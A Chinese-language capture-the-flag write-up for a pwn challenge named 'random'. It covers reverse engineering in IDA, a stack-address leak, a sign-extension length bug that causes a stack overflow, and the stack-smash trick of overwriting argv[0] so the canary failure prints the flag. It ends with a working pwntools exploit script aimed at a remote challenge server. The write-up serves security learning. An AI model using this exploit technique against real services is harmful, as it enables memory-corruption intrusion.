PWN-random(stack smash)

PWN-random(stack smash)

IDA分析

main函数

img

发现prctl,用seccomp-tools dump ./random,发现禁止了execve

img

img

将flag的内容写到buf中,然后打印出buf的低一字节数据

img

返回一个整形数据给v0,然后与0x80作与赋值给dword_20204c,然后作为sub_C1F的第二个参数

img

一个一个字节赋值给buf,遇到’\n’退出

img

调试过程

img

发现这里输入16个字节数据后,printf会打印出奇奇怪怪的东西,盲猜是栈的地址,通过调试发现确实是

img

先找到buf的地址,我们就可以通过栈地址找出距离buf的偏移了,0x7ffe15c95da0-0x7ffe15c95a8=0x320

img

然后是这里,一直觉得这里有问题,卡了好久,然后看了一眼汇编,发现原来是跟0xFFFFFF80作与操作,而且movsx这个指令会直接也有问题,这里会将32位寄存器进行符号扩展到64位寄存器

img

img

通过输入0x80调试发现RSI为0xffffffffffffff80,这个作为sub_C1F的第二个参数,也就是长度,那么就可以造成栈溢出了

img

思路

现在是可以求出buf的地址,也就是flag的地址,也有栈溢出的漏洞,但是这题开了pie,不知道基地址和libc的地址,但是这题开了canary,这里就可以用到stack smash,通常return的时候发现栈被修改过就会触发__stack_chk_fail函数,这个函数会打印出argv[0]也就是文件名,argv是存在栈的高地址,可以通过修改argv[0]指向buf也就是flag,从而打印出flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.log_level = 'debug'

# p = process('./random')
p = remote('106.75.105.53','52312')

payload = 'a'*15 + 'b'
p.sendafter('tell me your name',payload)
p.recvuntil('ab')
stack = u64(p.recv(6).ljust(8,'\x00'))
print(hex(stack))

flag_addr = stack - 0x320
print(hex(flag_addr))
p.recvline()
buf = p.recvline()[5:-1]
print(buf)
p.sendafter("leave something?\n", str(0x80))

payload = p64(flag_addr)*0x300
p.sendline(payload)

p.interactive()

img